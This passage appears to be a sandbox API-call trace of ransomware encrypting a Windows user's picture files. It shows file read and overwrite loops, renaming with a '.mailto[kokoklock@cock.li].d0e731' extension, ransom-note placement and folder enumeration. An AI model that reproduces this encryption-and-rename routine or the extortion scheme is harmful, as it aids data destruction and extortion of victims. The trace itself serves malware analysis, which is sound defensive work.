CurrentTime=0x102bfb90*=132121176241746774) returned 0x0 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x8aeb6b0b [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x74d4edca [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x6fb11c75 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x61c6db09 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0xfd9bb9df [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0xf9721946 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x63c56cc3 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x89885039 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x64623555 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x6eac4a07 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0xd424a111 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x270a08ac [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0xdb8636ed [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x99c294c [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0xf5ed53cc [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x3b42c32 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0xfd6289b [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x64525b7 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x634cd94d [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x4cb46fa0 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0xc9d088e7 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x83a36057 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x3ffbeddd [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x38801ef5 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x2ec66a5f [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x403e5125 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x48ed77c8 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x6f0d0161 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0xc42f0ee6 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0x7fc1f7a5 [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0xbbe62a1c [0066.277] RtlRandom (in: Seed=0x102bfb9c | out: Seed=0x102bfb9c) returned 0xf964a928 [0066.288] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.288] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x102bfb68, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x102bfb68*=0x4096, lpOverlapped=0x0) returned 1 [0066.288] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.288] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0066.288] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0066.288] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4990 [0066.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4990) returned 1 [0066.288] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0066.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4990 [0066.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0066.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0066.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.289] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x102bfb68, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0x102bfb68*=0x4096, lpOverlapped=0x0) returned 1 [0066.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0066.289] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x9db2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.289] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4990*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x102bfba0, lpOverlapped=0x0 | out: lpBuffer=0x33e4990*, lpNumberOfBytesWritten=0x102bfba0*=0x20, lpOverlapped=0x0) returned 1 [0066.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4990) returned 1 [0066.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.290] WriteFile (in: hFile=0x7c8, lpBuffer=0x33e4918*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x102bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x33e4918*, lpNumberOfBytesWritten=0x102bfbb4*=0x8, lpOverlapped=0x0) returned 1 [0066.290] WriteFile (in: hFile=0x7c8, lpBuffer=0x102bfbcc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x102bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x102bfbcc*, lpNumberOfBytesWritten=0x102bfbb4*=0x4, lpOverlapped=0x0) returned 1 [0066.290] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x102bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x102bfbb4*=0x4, lpOverlapped=0x0) returned 1 [0066.290] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x102bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x102bfbb4*=0x6c, lpOverlapped=0x0) returned 1 [0066.290] WriteFile (in: hFile=0x7c8, lpBuffer=0x347d000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x102bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x347d000*, lpNumberOfBytesWritten=0x102bfbb4*=0x20, lpOverlapped=0x0) returned 1 [0066.290] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x102bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x102bfbb4*=0x4, lpOverlapped=0x0) returned 1 [0066.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0066.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0066.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.290] CloseHandle (hObject=0x7c8) returned 1 [0066.292] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e2c30 [0066.292] wcscpy (in: _Dest=0x33e2c30, _Source="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif") returned="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif" [0066.292] wcscat (in: _Dest=0x33e2c30, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731" [0066.292] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\xvpn.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\xvpn.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.293] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.293] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2c30) returned 1 [0066.293] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif", dwFileAttributes=0x20) returned 0 [0066.293] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0066.293] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0066.293] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0066.293] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0066.293] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0066.293] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481618) returned 1 [0066.293] RtlExitUserThread (Status=0x1) Thread: id = 362 os_tid = 0xe9c [0068.368] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ye pvekepv_.bmp")) returned 0x20 [0068.368] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp", dwFileAttributes=0x20) returned 1 [0068.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ye pvekepv_.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x598 [0068.369] GetFileSizeEx (in: hFile=0x598, lpFileSize=0x1033f914 | out: lpFileSize=0x1033f914*=92310) returned 1 [0068.369] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x16892, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.369] ReadFile (in: hFile=0x598, lpBuffer=0x1033f8e8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1033f8e4, lpOverlapped=0x0 | out: lpBuffer=0x1033f8e8*, lpNumberOfBytesRead=0x1033f8e4*=0x4, lpOverlapped=0x0) returned 1 [0068.369] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.369] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.369] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423b78 [0068.369] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423c40 [0068.369] NtQuerySystemTime (in: CurrentTime=0x1033f8c0 | out: CurrentTime=0x1033f8c0*=132121176262699342) returned 0x0 [0068.369] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0xcc77a889 [0068.369] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x7a69fba7 [0068.369] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x6144f7a3 [0068.369] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0xc67c6ec2 [0068.369] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x939aef42 [0068.369] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x4d53e8e8 [0068.369] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0xd03a11d7 [0068.369] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x97cfe7f [0068.369] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x524b63e9 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x56be5263 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0xac9ba851 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x65d89c20 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x48d334c7 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x367af95a [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0xeab5e80f [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x8aa9670e [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x680fb817 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0xae63be08 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x881fe3cb [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0xfabf5383 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0xda52bfa8 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0xbf537935 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x6197cc1a [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0xdc78154 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x57a3bbb5 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x5600a769 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x77261270 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0xc1317222 [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0xe53ffe2c [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0xa6bbf48b [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x7cf55e3d [0068.370] RtlRandom (in: Seed=0x1033f8cc | out: Seed=0x1033f8cc) returned 0x6ed0c6c9 [0068.381] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.381] ReadFile (in: hFile=0x598, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1033f898, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1033f898*=0x4096, lpOverlapped=0x0) returned 1 [0068.381] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0068.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0068.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34239c0 [0068.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34239c0) returned 1 [0068.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0068.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0068.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423948 [0068.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423948) returned 1 [0068.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0068.382] WriteFile (in: hFile=0x598, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1033f898, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1033f898*=0x4096, lpOverlapped=0x0) returned 1 [0068.383] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.383] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x16896, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.383] WriteFile (in: hFile=0x598, lpBuffer=0x3423920*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1033f8d0, lpOverlapped=0x0 | out: lpBuffer=0x3423920*, lpNumberOfBytesWritten=0x1033f8d0*=0x20, lpOverlapped=0x0) returned 1 [0068.383] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0068.383] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.383] WriteFile (in: hFile=0x598, lpBuffer=0x3423c90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1033f8e4, lpOverlapped=0x0 | out: lpBuffer=0x3423c90*, lpNumberOfBytesWritten=0x1033f8e4*=0x8, lpOverlapped=0x0) returned 1 [0068.383] WriteFile (in: hFile=0x598, lpBuffer=0x1033f8fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1033f8e4, lpOverlapped=0x0 | out: lpBuffer=0x1033f8fc*, lpNumberOfBytesWritten=0x1033f8e4*=0x4, lpOverlapped=0x0) returned 1 [0068.383] WriteFile (in: hFile=0x598, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1033f8e4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1033f8e4*=0x4, lpOverlapped=0x0) returned 1 [0068.383] WriteFile (in: hFile=0x598, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1033f8e4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1033f8e4*=0x6c, lpOverlapped=0x0) returned 1 [0068.383] WriteFile (in: hFile=0x598, lpBuffer=0x3423b78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1033f8e4, lpOverlapped=0x0 | out: lpBuffer=0x3423b78*, lpNumberOfBytesWritten=0x1033f8e4*=0x20, lpOverlapped=0x0) returned 1 [0068.383] WriteFile (in: hFile=0x598, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1033f8e4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1033f8e4*=0x4, lpOverlapped=0x0) returned 1 [0068.383] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423b78) returned 1 [0068.383] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423c68) returned 1 [0068.383] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423c90) returned 1 [0068.383] CloseHandle (hObject=0x598) returned 1 [0068.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eaff0 [0068.386] wcscpy (in: _Dest=0x33eaff0, _Source="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp" [0068.386] wcscat (in: _Dest=0x33eaff0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731" [0068.386] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ye pvekepv_.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ye pvekepv_.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0068.391] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0068.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaff0) returned 1 [0068.392] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp", dwFileAttributes=0x20) returned 0 [0068.392] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481a38 [0068.392] wcscpy (in: _Dest=0x3481a38, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0068.392] wcscat (in: _Dest=0x3481a38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0068.392] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0068.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481a38) returned 1 [0068.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481cd8) returned 1 [0068.392] RtlExitUserThread (Status=0x1) Thread: id = 363 os_tid = 0xd20 [0068.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3427618 [0068.394] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\Default.migrated\\Documents\\My Music" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Music") returned="C:\\Users\\Default.migrated\\Documents\\My Music" [0068.394] wcscat (in: _Dest=0x3427618, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Music\\") returned="C:\\Users\\Default.migrated\\Documents\\My Music\\" [0068.394] wcscat (in: _Dest=0x3427618, _Source="*" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Music\\*") returned="C:\\Users\\Default.migrated\\Documents\\My Music\\*" [0068.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342afa8 [0068.394] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Music\\*", lpFindFileData=0x342afa8 | out: lpFindFileData=0x342afa8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0068.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342afa8) returned 1 [0068.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427618) returned 1 [0068.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427068) returned 1 [0068.396] RtlExitUserThread (Status=0x0) Thread: id = 364 os_tid = 0xf8c [0068.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e2d0 [0068.397] wcscpy (in: _Dest=0x347e2d0, _Source="C:\\Users\\Default.migrated\\Documents\\My Pictures" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Pictures") returned="C:\\Users\\Default.migrated\\Documents\\My Pictures" [0068.397] wcscat (in: _Dest=0x347e2d0, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Pictures\\") returned="C:\\Users\\Default.migrated\\Documents\\My Pictures\\" [0068.397] wcscat (in: _Dest=0x347e2d0, _Source="*" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Pictures\\*") returned="C:\\Users\\Default.migrated\\Documents\\My Pictures\\*" [0068.397] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342afa8 [0068.397] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Pictures\\*", lpFindFileData=0x342afa8 | out: lpFindFileData=0x342afa8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0068.399] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342afa8) returned 1 [0068.399] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e2d0) returned 1 [0068.399] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426e60) returned 1 [0068.400] RtlExitUserThread (Status=0x0) Thread: id = 365 os_tid = 0xb0c [0068.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3427618 [0068.401] wcscpy (in: _Dest=0x3427618, _Source="C:\\Users\\Default.migrated\\Documents\\My Videos" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Videos") returned="C:\\Users\\Default.migrated\\Documents\\My Videos" [0068.401] wcscat (in: _Dest=0x3427618, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Videos\\") returned="C:\\Users\\Default.migrated\\Documents\\My Videos\\" [0068.401] wcscat (in: _Dest=0x3427618, _Source="*" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Videos\\*") returned="C:\\Users\\Default.migrated\\Documents\\My Videos\\*" [0068.401] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342afa8 [0068.401] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\My Videos\\*", lpFindFileData=0x342afa8 | out: lpFindFileData=0x342afa8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0068.403] 